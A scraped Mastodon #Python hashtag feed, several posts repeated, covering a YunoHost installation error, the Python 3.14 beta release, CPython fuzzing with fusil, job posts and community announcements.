^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/yunohost/app.py", line 2269, in _get_manifest_of_app
manifest = _convert_v1_manifest_to_v2(manifest)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/yunohost/app.py", line 2397, in _convert_v1_manifest_to_v2
install_questions = manifest["arguments"]["install"]
~~~~~~~~^^^^^^^^^^^^^
KeyError: 'arguments'
dpkg: error processing package yunohost (--configure):
installed yunohost package post-installation script subprocess returned error exit status 1
Errors were encountered while processing:
yunohost"
And let's try sudo dpkg --audit:
"The following packages are only half configured, probably due to problems
configuring them the first time. The configuration should be retried using
dpkg --configure <package> or the configure menu option in dselect:
yunohost manageable and configured self-hosting server"
Okay.
So.
Any idea what's going on here?
What should I try next to fix this?
(3/3)
#YunoHost #GoToSocial #Fediverse #FediHelp #Linux #SelfHost #SelfHosters #SelfHostedSoftware #python #yunohosthelp @yunohost @yunohost
@brettcannon@fosstodon.org
There were layoffs at MS yesterday and 3 #Python core devs from the Faster CPython team were caught in them. If you know of any jobs, please send them their way (they kind of know Python, CPython, and its internals well 😉):
Eric Snow: https://www.linkedin.com/in/ericsnowcurrently/
Irit Katriel: https://www.linkedin.com/in/irit-katriel/
Mark Shannon: https://www.linkedin.com/in/mark-shannon-bb459551/
@hugovk@mastodon.social
FEPs, SLEPs, APEs, AIPs, PEEPs, CEPs, SKIPs, SPECs, TIPs, CFEPs, NEPs, JEPs, BIPs, DEPs, DEPs, KEPs, JEPs, WEPs, IPEPs...
A lot of projects name proposals after PEPs rather than RFCs.
What are they? Where did PEPs come from? Here's @flufl on the origin!
https://hugovk.dev/blog/2025/peps-and-co/
#Python #PEP #RFC #etymology #history #blog
@brettcannon@fosstodon.org
There were layoffs at MS yesterday and 3 #Python core devs from the Faster CPython team were caught in them. If you know of any jobs, please send them their way (they kind of know Python, CPython, and its internals well 😉):
Eric Snow: https://www.linkedin.com/in/ericsnowcurrently/
Irit Katriel: https://www.linkedin.com/in/irit-katriel/
Mark Shannon: https://www.linkedin.com/in/mark-shannon-bb459551/
@webology@mastodon.social
Hey Mastodon #python friends, does anyone have a drop-in Python web app that can handle/record likes/posts from Mastodon?
If someone has seen one, I have a design that I want to connect to something that has enough IndieWeb / Mastodon smarts that I can wire it up tonight and I thought I'd ask here first.
I do NOT want to run my own Mastodon instance, but I'd love the pingback feature for a one or two page app.
@hugovk@mastodon.social
FEPs, SLEPs, APEs, AIPs, PEEPs, CEPs, SKIPs, SPECs, TIPs, CFEPs, NEPs, JEPs, BIPs, DEPs, DEPs, KEPs, JEPs, WEPs, IPEPs...
A lot of projects name proposals after PEPs rather than RFCs.
What are they? Where did PEPs come from? Here's @flufl on the origin!
https://hugovk.dev/blog/2025/peps-and-co/
#Python #PEP #RFC #etymology #history #blog
@hugovk@mastodon.social
FEPs, SLEPs, APEs, AIPs, PEEPs, CEPs, SKIPs, SPECs, TIPs, CFEPs, NEPs, JEPs, BIPs, DEPs, DEPs, KEPs, JEPs, WEPs, IPEPs...
A lot of projects name proposals after PEPs rather than RFCs.
What are they? Where did PEPs come from? Here's @flufl on the origin!
https://hugovk.dev/blog/2025/peps-and-co/
#Python #PEP #RFC #etymology #history #blog
@faassen@hachyderm.io
The first #Python conferences I ever went to were the only ones in the world and had about 300 people there. Now I am at #RustWeek with comfortably more than double the size and it's just one of the Rust conferences in Europe.
I started with Rust about 5 years ago, and Rust was already a lot bigger at the time than Python was when I started with it.
@ambv@mastodon.social
Stoked for my WebGL tutorial on Thursday morning at @pycon. 3:30h to show all the basic components of 3D graphics? Might be ambitious! But I'll do my best.
Hopefully the conference wi-fi won't betray us 🤞🏻🤞🏻
@ambv@mastodon.social
Stoked for my WebGL tutorial on Thursday morning at @pycon. 3:30h to show all the basic components of 3D graphics? Might be ambitious! But I'll do my best.
Hopefully the conference wi-fi won't betray us 🤞🏻🤞🏻
@kfdm@social.tsun.co
There are many times working with #python where I wish the standard library logging included a `TRACE` level by default. Would like to be able to use `INFO` and `DEBUG` in my app more easily, without `DEBUG` getting swamped by other library `DEBUG` loggers.
(yes I know I *could* do `logging.getLogger(<library path>).setLevel(...)` I just think it would be easier if there was one extra level of logging)
(I also know the logging levels are numbers spaced 10 apart)
@danzin@mastodon.social
Trying to gather feedback/opinions, especially from #CPython Core Developers, on the recent #fuzzing campaign using #fusil.
https://discuss.python.org/t/feedback-on-the-recent-fusil-fuzzing-campaign-of-cpython/91737
I'm writing a little tech report on the effort, and having some data about whether it's considered useful, a nuisance, impactful, low value etc. would make it much more interesting.
Please boost for visibility :)
@guidostevens@kolektiva.social
Who still writes Python 2.7 code in the year of the Lord 2025? Well, I did, to help a client remove obstacles for upgrading to Python 3.
This was a journey backward in time - in reverse order performing the steps you'd make, to upgrade from Python 2 to Python 3.
How do you create a modern add-on for Plone 6, that is also backward compatible with Plone 4.3 on #Python 2.7 with Archetypes?
In this blog post, I’ll explain the technical details of creating collective.collabora, making it work in many #Plone versions, while also providing continuous integration and 100% test coverage.
@guidostevens@kolektiva.social
Who still writes Python 2.7 code in the year of the Lord 2025? Well, I did, to help a client remove obstacles for upgrading to Python 3.
This was a journey backward in time - in reverse order performing the steps you'd make, to upgrade from Python 2 to Python 3.
How do you create a modern add-on for Plone 6, that is also backward compatible with Plone 4.3 on #Python 2.7 with Archetypes?
In this blog post, I’ll explain the technical details of creating collective.collabora, making it work in many #Plone versions, while also providing continuous integration and 100% test coverage.
@ancoghlan@mastodon.social
A couple of little known bits of Python history: Python's initial local package building client tools (distutils) were born in the late 20th century as a common build backend for Linux distro packaging of Python projects and its initial transitive dependency management tools (setuptools) were born in the early 21st as a plugin management tool for an open source Exchange competitor (OSAF's Chandler project). Evolving from those foundations has been... interesting :) #python
@ancoghlan@mastodon.social
A couple of little known bits of Python history: Python's initial local package building client tools (distutils) were born in the late 20th century as a common build backend for Linux distro packaging of Python projects and its initial transitive dependency management tools (setuptools) were born in the early 21st as a plugin management tool for an open source Exchange competitor (OSAF's Chandler project). Evolving from those foundations has been... interesting :) #python
@Jose_A_Alonso@mathstodon.xyz
Readings shared May 10, 2025. https://jaalonso.github.io/vestigium/posts/2025/05/10-readings_shared_05-10-25 #ITP #LeanProver #Math #Mathlib #Python
@ptmcg@fosstodon.org
I've had a Kaggle account for years, but I only used it to pull down datasets to try out with my schemaless ORM-lite #Python package littetable. This past week I discovered you can also host Jupyter notebooks there, so I created several demo notebooks - fun! Here are a few links:
https://www.kaggle.com/code/ptmcguire/explore-unicode-16-with-littletable
https://www.kaggle.com/code/ptmcguire/search-tmdb-5000-movie-overviews-using-littletable
https://www.kaggle.com/code/ptmcguire/to-search-or-not-to-search-shakespeare-plays
@Jose_A_Alonso@mathstodon.xyz
A tool to verify estimates, II: a flexible proof assistant. ~Terence Tao. https://terrytao.wordpress.com/2025/05/09/a-tool-to-verify-estimates-ii-a-flexible-proof-assistant/ #ITP #Python #Math
@DylanLang@fosstodon.org
@absolutum_obsoletum contributed a cheat sheet for people who already know #Python and and want to learn Dylan. w00t!
@nedbat@hachyderm.io
The TIOBE index is crude, but it's exciting to see #Python continuing to shine: https://www.tiobe.com/tiobe-index/
Too bad about the simplistic and misleading summary: "[Python] is interpreted and thus prone to unexpected run-time errors."
@doragasu@mastodon.sdf.org
@doragasu@mastodon.sdf.org
@danzin@mastodon.social
Another tidbit from the report I'm writing about #fusil:
The 52 issues filled correspond roughly to 30% of all the crashes (issues with "type-crash" label) and 2% of all issues (features requests, bugs and invalid issues) reported in the #CPython issue tracker during the six months period covered by the report.
Hits and new issues don't appear at a steady pace. It seems that there are long periods of no or nearly no new issues, followed by rapid finding of new results.
@glyph@mastodon.social · Reply to Glyph's post
and, dear reader, at the very top of the page, consuming more than 100% of the space above the fold, on the page for the #Python hashtag, was this toot https://infosec.exchange/@gtronix/114473986225249233
@glyph@mastodon.social · Reply to Glyph's post
so I thought to myself, I should try to use some of these tools at my disposal, I care about my friends and the folks I'm a fan of whomst I follow, but a lot of them are posting about doom more or less nonstop, maybe I should have a look at, like, the #python hashtag to get away from the fascist terrorism and the infosec breach nightmares and the AI slop and so on, maybe I can post some stuff that *others* can riff on if there's something good there
@Okanogen@mastodon.social · Reply to Dr. Mastodonocologist's post
First, there is no such thing as "#ArtificialIntelligence". It's not artificial and it isn't intelligentce. As a pursuit, it is quite real, and what it produces is not intelligence, but detailed models based on huge amounts of related archived data. The important word here is "model". So every time you see output from #Gemini or #ChatGPT, put in your mind that it is a MODEL of a paragraph on a topic, a MODEL of a picture of a sparrow on a pear, a MODEL of #python code. 2/
@Yhg1s@social.coop
You know how sometimes a little hobby side-project can get a bit out of hand? An unexpected performance regression on speed.python.org that only showed up on GCC 5 (and 7) led me to set up more rigorous tracking of Python performance when using different compilers. I'm still backfilling data but I think it's pretty awesome to see how much, and how consistently, free-threaded Python performance has improved since 3.13:
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 beta 1! 🚀🐍
🥧 Deferred type annotation evaluation!
🥧 T-strings!
🥧 Zstandard!
🥧 Syntax highlighting in the REPL!
🥧 Colour in unittest, argparse, json and calendar CLIs!
🥧 UUID v6-8!
🥧 And much more!
https://discuss.python.org/t/python-3-14-0-beta-1-is-here/91117?u=hugovk
@Yhg1s@social.coop
You know how sometimes a little hobby side-project can get a bit out of hand? An unexpected performance regression on speed.python.org that only showed up on GCC 5 (and 7) led me to set up more rigorous tracking of Python performance when using different compilers. I'm still backfilling data but I think it's pretty awesome to see how much, and how consistently, free-threaded Python performance has improved since 3.13:
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 beta 1! 🚀🐍
🥧 Deferred type annotation evaluation!
🥧 T-strings!
🥧 Zstandard!
🥧 Syntax highlighting in the REPL!
🥧 Colour in unittest, argparse, json and calendar CLIs!
🥧 UUID v6-8!
🥧 And much more!
https://discuss.python.org/t/python-3-14-0-beta-1-is-here/91117?u=hugovk
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0 beta 1! 🚀🐍
🥧 Deferred type annotation evaluation!
🥧 T-strings!
🥧 Zstandard!
🥧 Syntax highlighting in the REPL!
🥧 Colour in unittest, argparse, json and calendar CLIs!
🥧 UUID v6-8!
🥧 And much more!
https://discuss.python.org/t/python-3-14-0-beta-1-is-here/91117?u=hugovk
@danzin@mastodon.social · Reply to danzin's post
#Fusil works by generating source files with random calls, using interesting arguments, then monitoring their execution and output. It usually finds crashes resulting from the processing of invalid objects and unexpected call patterns.
Fusil was created by @vstinner.
Features added by me include running generated code in parallel threads, testing class instances in addition to classes and functions, and using new interesting objects/values as inputs.
@danzin@mastodon.social
Writing about #fusil. Some bits:
Fuzzing #CPython with fusil shows it to be a valuable tool for finding and fixing crashers. It started in October 2024 and is ongoing, using free tier cloud instances and personal computers.
Results:
- Fuzzing time: > 25.000 hours
- Fuzzing sessions: > 1.000.000
- Hits: > 50.000
- Issues filled: 52
The original design of fusil makes it well-suited for fuzzing CPython, finding both deep, relevant bugs as well as shallow, low value crashes.
@adamchainz@fosstodon.org
✍️ New post covering how to install pre-commit with uv.
This is my recommended install method now, uv takes care of nearly everything.
@Jose_A_Alonso@mathstodon.xyz
Readings shared May 6, 2025. https://jaalonso.github.io/vestigium/posts/2025/05/06-readings_shared_05-06-25 #Emacs #ITP #IsabelleHOL #Math #Python
@talkpython@fosstodon.org
Kicking off another @talkpython live stream in a few minutes! Join us and be part of the show with @mkennedy and guests. #python #podcast https://talkpython.fm/stream/live
@talkpython@fosstodon.org
Kicking off another @talkpython live stream in a few minutes! Join us and be part of the show with @mkennedy and guests. #python #podcast https://talkpython.fm/stream/live
@pycon@fosstodon.org
Learn to build native apps with #Python! Check out this sneak peek of @freakboy3742's #PyConUS 2025 tutorial "Building a cross-platform app with BeeWare" 🐝 Register for this tutorial and more via your PyCon US account dashboard!
https://youtu.be/9QmU2m3ClDI?si=2Rv6VbLZ3eBeAxPw
@pycon@fosstodon.org
Learn to build native apps with #Python! Check out this sneak peek of @freakboy3742's #PyConUS 2025 tutorial "Building a cross-platform app with BeeWare" 🐝 Register for this tutorial and more via your PyCon US account dashboard!
https://youtu.be/9QmU2m3ClDI?si=2Rv6VbLZ3eBeAxPw
@sethmlarson@fosstodon.org
@sethmlarson@fosstodon.org
@ThePSF@fosstodon.org
Please congratulate our newest PSF Fellow Members for Q1, 2025! Their continued contributions to the Python ecosystem are so very important to our community. #python
https://pyfound.blogspot.com/2025/05/announcing-python-software-foundation.html
@faassen@hachyderm.io
I was attracted to Python back in 1998 because made programming so much simpler, and I recaptured the joy of quick iterative development.
I was attracted to Rust even though I knew it would challenge me, and in return stretch my brain to become better and offer things other languages couldn't offer -- low level control to get performance combined with the memory safety Python gave me.
I felt empowered by both.
@ThePSF@fosstodon.org
Please congratulate our newest PSF Fellow Members for Q1, 2025! Their continued contributions to the Python ecosystem are so very important to our community. #python
https://pyfound.blogspot.com/2025/05/announcing-python-software-foundation.html
@ThePSF@fosstodon.org
Please congratulate our newest PSF Fellow Members for Q1, 2025! Their continued contributions to the Python ecosystem are so very important to our community. #python
https://pyfound.blogspot.com/2025/05/announcing-python-software-foundation.html
@hugovk@mastodon.social
#Python 3.14.0 beta 1 release day! `main` branch is locked!
It's also the feature freeze, meaning lots of stuff got merged yesterday so it can be released in 3.14 in October 2025 and not 3.15 in October 2026. But first, a couple of reverts for not-so-important things that weren't quite ready and last-minute fixes.
@Jose_A_Alonso@mathstodon.xyz
Recamán’s sequence. ~ John D. Cook. https://www.johndcook.com/blog/2025/05/05/recamans-sequence/ #Math #Python
@hugovk@mastodon.social
#Python 3.14.0 beta 1 release day! `main` branch is locked!
It's also the feature freeze, meaning lots of stuff got merged yesterday so it can be released in 3.14 in October 2025 and not 3.15 in October 2026. But first, a couple of reverts for not-so-important things that weren't quite ready and last-minute fixes.
@sphakos@toot.cat
Please boost! #FediHire
I'm looking for my next role as a program manager, team lead, or senior developer.
- 20+ years in open source
- 6 years experience in web dev with #Python, #Django, HTML, bootstrap
- 7 years experience in C, Linux kernel, embedded systems
My passions lie at the intersection of open source software development and creating welcoming spaces for people to learn and grow.
I'm currently the program manager for a technical internship program. I work remotely with a team of 4 people in New York, Brazil, and Nigeria.
Looking for a fully remote role. I'm open to relocation outside the USA.
Resume here: https://sage.thesharps.us/hire-me/
DM me or send an email to sage at thesharps dot us
@danzin@mastodon.social
Very busy day at the #CPython repository as tomorrow's feature freeze for the first beta of version 3.14 approaches: https://github.com/python/cpython/issues?q=sort%3Aupdated-desc
Tons of neat features and improvements landing today.
@sphakos@toot.cat
Please boost! #FediHire
I'm looking for my next role as a program manager, team lead, or senior developer.
- 20+ years in open source
- 6 years experience in web dev with #Python, #Django, HTML, bootstrap
- 7 years experience in C, Linux kernel, embedded systems
My passions lie at the intersection of open source software development and creating welcoming spaces for people to learn and grow.
I'm currently the program manager for a technical internship program. I work remotely with a team of 4 people in New York, Brazil, and Nigeria.
Looking for a fully remote role. I'm open to relocation outside the USA.
Resume here: https://sage.thesharps.us/hire-me/
DM me or send an email to sage at thesharps dot us
@glyph@mastodon.social
@glyph@mastodon.social
In a bit under 22 hours, I will be streaming on Twitch at https://www.twitch.tv/glyph_official/ and doing something with #Python code and #Emacs either the last or second-to-last time before #PyConUS 2025.
@sphakos@toot.cat
Please boost! #FediHire
I'm looking for my next role as a program manager, team lead, or senior developer.
- 20+ years in open source
- 6 years experience in web dev with #Python, #Django, HTML, bootstrap
- 7 years experience in C, Linux kernel, embedded systems
My passions lie at the intersection of open source software development and creating welcoming spaces for people to learn and grow.
I'm currently the program manager for a technical internship program. I work remotely with a team of 4 people in New York, Brazil, and Nigeria.
Looking for a fully remote role. I'm open to relocation outside the USA.
Resume here: https://sage.thesharps.us/hire-me/
DM me or send an email to sage at thesharps dot us
@hugovk@mastodon.social
There's a long tail in PyPI downloads.
Here's the 15k most popular packages from https://hugovk.github.io/top-pypi-packages/ charted. The second is with log scale.
@hugovk@mastodon.social
There's a long tail in PyPI downloads.
Here's the 15k most popular packages from https://hugovk.github.io/top-pypi-packages/ charted. The second is with log scale.
@sphakos@toot.cat
Please boost! #FediHire
I'm looking for my next role as a program manager, team lead, or senior developer.
- 20+ years in open source
- 6 years experience in web dev with #Python, #Django, HTML, bootstrap
- 7 years experience in C, Linux kernel, embedded systems
My passions lie at the intersection of open source software development and creating welcoming spaces for people to learn and grow.
I'm currently the program manager for a technical internship program. I work remotely with a team of 4 people in New York, Brazil, and Nigeria.
Looking for a fully remote role. I'm open to relocation outside the USA.
Resume here: https://sage.thesharps.us/hire-me/
DM me or send an email to sage at thesharps dot us
@bshaurette@social.linux.pizza
Southern California #PyLadies and #Python folks, I need your help!
I'm in the planning stages of forming a PyLadies chapter based in the San Gabriel Valley (that's Pasadena, Monrovia, Arcadia, but could also include Glendale and Burbank, and many more communities on the east side of Los Angeles).
Before I submit requests and get the ball rolling, I'd like to find a third person who's interested in signing on as an organizer. Initially there won't be much responsibility beyond getting the word out and helping to decide what our first events will be. It's a great opportunity for someone looking for leadership experience in a volunteer setting.
If you're interested, feel free to reach out to me here, or at my email address on mechanicalgirl.com, or even on the PyLadies or SoCal Python Slack spaces.
@talktech@hachyderm.io
Moved to a new instance, so time for a #RefreshedIntro
My name is Vince, I live in #Colchester in the #uk
I love to talk and play with all sorts of #Technology including but not limited to #RaspberryPi #Servers, #Dockers and much more.
I watch #StarTrek on repeat and #Stargate.
I like to tinker with code in #Python mainly.
For a day job from 1st March 2024 I am now the Customer Support Manager for #CivicaUK in their Local Government department.
@villares@ciberlandia.pt
#Processing IDE comes with a rich collection of example sketches. A few years ago I have started converting the legacy Processing #Python mode examples to #py5 but I never finished it… would you like to help? It could be as easy as trying to run some examples and reporting if they work or not. And if you find a broken one I could help you fix it (or I could fix it myself…)
@villares@ciberlandia.pt
#Processing IDE comes with a rich collection of example sketches. A few years ago I have started converting the legacy Processing #Python mode examples to #py5 but I never finished it… would you like to help? It could be as easy as trying to run some examples and reporting if they work or not. And if you find a broken one I could help you fix it (or I could fix it myself…)
@linuxgal@techhub.social
@bshaurette@social.linux.pizza
Southern California #PyLadies and #Python folks, I need your help!
I'm in the planning stages of forming a PyLadies chapter based in the San Gabriel Valley (that's Pasadena, Monrovia, Arcadia, but could also include Glendale and Burbank, and many more communities on the east side of Los Angeles).
Before I submit requests and get the ball rolling, I'd like to find a third person who's interested in signing on as an organizer. Initially there won't be much responsibility beyond getting the word out and helping to decide what our first events will be. It's a great opportunity for someone looking for leadership experience in a volunteer setting.
If you're interested, feel free to reach out to me here, or at my email address on mechanicalgirl.com, or even on the PyLadies or SoCal Python Slack spaces.
@Jose_A_Alonso@mathstodon.xyz
Readings shared May 2, 2025. https://jaalonso.github.io/vestigium/posts/2025/05/02-readings_shared_05-02-25 #AI #ChatGPT #DeepSeek #ITP #IsabelleHOL #LLMs #LeanProver #Math #Python #Rocq
@treyhunner@mastodon.social
You'd like to improve the maintainability of a #Python code base that has no tests or type hints.
Which do you do?
Option | Voters |
---|---|
Add type hints first, then automated tests | 1 (50%) |
Add tests first, then type hints | 1 (50%) |
Just as type hints | 0 (0%) |
Just as tests | 0 (0%) |
@treyhunner@mastodon.social
You'd like to improve the maintainability of a #Python code base that has no tests or type hints.
Which do you do?
Option | Voters |
---|---|
Add type hints first, then automated tests | 1 (50%) |
Add tests first, then type hints | 1 (50%) |
Just as type hints | 0 (0%) |
Just as tests | 0 (0%) |
@python_discussions@mastodon.social
@hugovk@mastodon.social · Reply to Ned Batchelder's post
@nedbat Just this week, including tests in coverage helped find a common mistake:
copy/pasting a test function, changing the body, but forgetting to rename it, so the first one isn't run.
https://github.com/python/pymanager/pull/17/commits/e95569aa55fc22c7084ab5881fc0661b8f7130e2
@hugovk@mastodon.social · Reply to Ned Batchelder's post
@nedbat Just this week, including tests in coverage helped find a common mistake:
copy/pasting a test function, changing the body, but forgetting to rename it, so the first one isn't run.
https://github.com/python/pymanager/pull/17/commits/e95569aa55fc22c7084ab5881fc0661b8f7130e2
@python_discussions@mastodon.social
@Jose_A_Alonso@mathstodon.xyz
@ehmatthes@fosstodon.org
Someone asked about a deployment that failed using django-simple-deploy. The root cause was that their requirements.txt file had a UTF-16 encoding.
I'm currently parsing requirements.txt (when present) with path.read_text(), with no args. I could catch the UnicodeDecodeException, but is that worth supporting?
Is a UTF-16 encoded requirements file just going to cause problems for them down the road? I've never run into this before, and have no idea how common it is.
@ehmatthes@fosstodon.org
Someone asked about a deployment that failed using django-simple-deploy. The root cause was that their requirements.txt file had a UTF-16 encoding.
I'm currently parsing requirements.txt (when present) with path.read_text(), with no args. I could catch the UnicodeDecodeException, but is that worth supporting?
Is a UTF-16 encoded requirements file just going to cause problems for them down the road? I've never run into this before, and have no idea how common it is.
@ThePSF@fosstodon.org
Sending a heartfelt thank you to the Oregon State University Open Source Lab for everything they have done and continue to do for #Python, the PSF, and the entire Open Source ecosystem over the years! https://pyfound.blogspot.com/2025/05/a-thank-you-to-oregon-state-university.html
https://pyfound.blogspot.com/2025/05/a-thank-you-to-oregon-state-university.html
@ThePSF@fosstodon.org
Sending a heartfelt thank you to the Oregon State University Open Source Lab for everything they have done and continue to do for #Python, the PSF, and the entire Open Source ecosystem over the years! https://pyfound.blogspot.com/2025/05/a-thank-you-to-oregon-state-university.html
https://pyfound.blogspot.com/2025/05/a-thank-you-to-oregon-state-university.html
@yossarian@infosec.exchange
my colleague @DarkaMaul has put out a new post on the @trailofbits blog on how we worked with @pypi's maintainers to slash PyPI test run times from ~160s to ~30s despite overall test counts growing by 17% (3900 to 4700+):
https://blog.trailofbits.com/2025/05/01/making-pypis-test-suite-81-faster/
this is some of my favorite kind of work: faster test suites means that developers run tests locally more often, and are less hesitant to add new tests (especially parametric ones). another great example of security and performance/reliability engineering dovetailing.
@yossarian@infosec.exchange
my colleague @DarkaMaul has put out a new post on the @trailofbits blog on how we worked with @pypi's maintainers to slash PyPI test run times from ~160s to ~30s despite overall test counts growing by 17% (3900 to 4700+):
https://blog.trailofbits.com/2025/05/01/making-pypis-test-suite-81-faster/
this is some of my favorite kind of work: faster test suites means that developers run tests locally more often, and are less hesitant to add new tests (especially parametric ones). another great example of security and performance/reliability engineering dovetailing.
@danzin@mastodon.social
Do you maintain or contribute to a #Python package that includes a C extension? Would you like to run a fuzzer against it?
If so, let me know and I will run it, or help you to get it running.
The fuzzer is #fusil, which generates random code calling into your functions and methods. It's useful to check for crashes on invalid inputs or unexpected call patterns.
It has found about 50 crashes in #CPython, 20 in #PyPy, 6 in #Numpy etc.
#fuzzing #fuzzer #testing
See here:
https://github.com/devdanzin/fusil/issues/37
@yossarian@infosec.exchange
my colleague @DarkaMaul has put out a new post on the @trailofbits blog on how we worked with @pypi's maintainers to slash PyPI test run times from ~160s to ~30s despite overall test counts growing by 17% (3900 to 4700+):
https://blog.trailofbits.com/2025/05/01/making-pypis-test-suite-81-faster/
this is some of my favorite kind of work: faster test suites means that developers run tests locally more often, and are less hesitant to add new tests (especially parametric ones). another great example of security and performance/reliability engineering dovetailing.
@PuckerLab@genomic.social
We are using plant genomics & transcriptomics to understand the genetics and the evolution of the specialized metabolism of plants. Many long read sequencing projects (#ONT) are going on in the lab. We also like reusing public data sets to answer biological questions. #Python is the dominant script language in the group. We use these scripts to perform analyses beyond the potential of existing tools. Check out our website and get in touch if you would like to join: https://www.izmb.uni-bonn.de/en/molecular-plant-sciences/contact
@villares@ciberlandia.pt
Would you like to learn the very basics of #programming? I can teach you.
I like to teach #Python in the context of making drawings, if you already know how to program but would like to learn some Python or some #CreativeCoding, I can help! Maybe you know someone who would enjoy this?
Schedule a free chat with me and we can discuss further details like time availability and my rates. All my teaching materials are free and open, but I need income to keep producing them. Some generous people make small recurring donations. https://abav.lugaralgum.com/links
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
🙈 https://www.youtube.com/watch?v=2cxSP90gj8c [Vappu is May Day]
Just released! 🚀🚀🚀🚀
termcolor 3.1.0
Add true colour, cache system lookups
https://github.com/termcolor/termcolor/releases/tag/3.1.0
em-keyboard 5.1.0
Add Emoji 16.0: 🇨🇶
https://github.com/hugovk/em-keyboard/releases/tag/v5.1.0
Humanize 4.12.3
Fix regression in naturalsize, improve French translation
https://github.com/python-humanize/humanize/releases/tag/4.12.3
Python Docs Theme 2025.4.1
Fix copy button with multiple tracebacks
https://github.com/python/python-docs-theme/releases/tag/2025.4.1
#Python #release #termcolor #humanize #Sphinx #theme #EmKeyboard #PythonDocsTheme
@fell@ma.fellr.net
I was looking for an alternative to classic shell scripts, so I timed a Hello World program in different languages for fun. I thought you might want to know:
1 ms - #Bash
1 ms - #Perl
12 ms - #Python
33 ms - #Go (shebang calling `go run`)
38 ms - #C (shebang compiling to temporary file)
61 ms - #Rust (shebang compiling to temporary file)
Needless to say that this is a highly unfair and silly comparison. It's still interesting, though.
@bshaurette@social.linux.pizza
@bshaurette@social.linux.pizza
@nedbat@hachyderm.io
If an error in your #Python program seems impossible, double-check that you haven't edited the source after starting the program. Tracebacks re-read the source files to show the lines of code, so they can show you edited lines that aren't what you are running.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python Docs Theme 2025.4 🚀
📚 Require Sphinx 7.3
📚 Add support for Python 3.14
📚 Drop support for Python 3.10-3.11
📚 Copy button for code samples
📚 PEP 639 licence metadata
📚 and more!
https://github.com/python/python-docs-theme/releases
Thanks to Tomas Roun for the copy button! Demo:
@danzin@mastodon.social · Reply to MidniteMikeWrites's post
@MidniteMikeWrites Congratulations and welcome to #Python!
@villares@ciberlandia.pt
Would you like to learn the very basics of #programming? I can teach you.
I like to teach #Python in the context of making drawings, if you already know how to program but would like to learn some Python or some #CreativeCoding, I can help! Maybe you know someone who would enjoy this?
Schedule a free chat with me and we can discuss further details like time availability and my rates. All my teaching materials are free and open, but I need income to keep producing them. Some generous people make small recurring donations. https://abav.lugaralgum.com/links
@villares@ciberlandia.pt
Would you like to learn the very basics of #programming? I can teach you.
I like to teach #Python in the context of making drawings, if you already know how to program but would like to learn some Python or some #CreativeCoding, I can help! Maybe you know someone who would enjoy this?
Schedule a free chat with me and we can discuss further details like time availability and my rates. All my teaching materials are free and open, but I need income to keep producing them. Some generous people make small recurring donations. https://abav.lugaralgum.com/links
@ehmatthes@fosstodon.org
py-bugger now has official documentation:
@MidniteMikeWrites@zirk.us
Finished my first #python program, it's a totally original (but tiny) ~150 line console word game that taught me a lot. Still have a lot more to learn, and excited to keep going.
@Jose_A_Alonso@mathstodon.xyz
Readings shared April 28, 2025. https://jaalonso.github.io/vestigium/posts/2025/04/28-readings_shared_04-28-25 #FunctionalProgramming #Haskell #ITP #LeanProver #Logic #Math #Python
@martinfleis@fosstodon.org
Ever needed to simplify street networks? I did. And it is a pain. So we joined forces with @anavybor and @JamesGaboardi and wrote an algorithm that does that for us. And can do for you, as it is available as a Python package called `neatnet`.
Here's a short blog about it - https://martinfleischmann.net/simplification-of-street-networks/
And here's, not so short preprint - https://arxiv.org/abs/2504.16198
But you probably want the package. That is here - https://uscuni.org/neatnet.
Happy coding!
@ehmatthes@fosstodon.org
py-bugger now has official documentation:
@martinfleis@fosstodon.org
Ever needed to simplify street networks? I did. And it is a pain. So we joined forces with @anavybor and @JamesGaboardi and wrote an algorithm that does that for us. And can do for you, as it is available as a Python package called `neatnet`.
Here's a short blog about it - https://martinfleischmann.net/simplification-of-street-networks/
And here's, not so short preprint - https://arxiv.org/abs/2504.16198
But you probably want the package. That is here - https://uscuni.org/neatnet.
Happy coding!
@Jose_A_Alonso@mathstodon.xyz
Haskelling my Python (Reimplementing Haskell lazy infinite lists using Python generators). ~ Unnamed Website. https://unnamed.website/posts/haskelling-my-python/ #Python #Haskell #FunctionalProgramming #Math
@cd_newton@hachyderm.io
New #introduction after migrating to Hachyderm.io - I work in data/research for a dog welfare and rehoming charity, mostly using #RStats, #Python and #SQL with occasional #QGIS.
I’m also interested in the environment, climate and wildlife. I don’t have loads of free time these days but I also enjoy music (see Bandcamp link!), books when I get round to reading them (see Bookwyrm link!), films (anything from highbrow to Highlander), cycling, yoga and #TaiChi (initially as ways to help manage #arthritis, before I began to appreciate both in their own rights).
@phildini@wandering.shop · Reply to phildini's post
@phildini@wandering.shop
Because I do a fair amount of frontend work but think most frontend frameworks are overkill, I use #HTMX and #alpinejs a lot. And @glyph's #NBPy talk made me think about what a #PyScript package that combines both and provides #python handles to both would look like.
What could I build if I had a drop-in #django package that gave me all the interaction I wanted while writing python code?
@phildini@wandering.shop
Because I do a fair amount of frontend work but think most frontend frameworks are overkill, I use #HTMX and #alpinejs a lot. And @glyph's #NBPy talk made me think about what a #PyScript package that combines both and provides #python handles to both would look like.
What could I build if I had a drop-in #django package that gave me all the interaction I wanted while writing python code?
@python_discussions@mastodon.social
@Jose_A_Alonso@mathstodon.xyz
Readings shared April 25, 2025. https://jaalonso.github.io/vestigium/posts/2025/04/25-readings_shared_04-25-25 #AI #CommonLisp #FunctionalProgramming #Haskell #ITP #IsabelleHOL #LLMs #LeanProver #Logic #Math #Python
@chrisjrn@social.coop
I'm about to go to bed before I set up for a #Python event that celebrates the joy of technology and the responsibility we have to use the skills we have to improve the world.
A while ago, I caught the news that former #Python release manager, @swearyanthony is in the ICU in a critical condition with an unclear prognosis. I'm a Python person because I had the fortune to meet Anthony at the right time, and I'll be keeping him in my thoughts as this year's #NBPy unfolds.
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Duplicación de cada elemento. https://jaalonso.github.io/exercitium/posts/2025/04/25-duplicacion_de_cada_elemento #Haskell #Python #CommonLisp
@Jose_A_Alonso@mathstodon.xyz
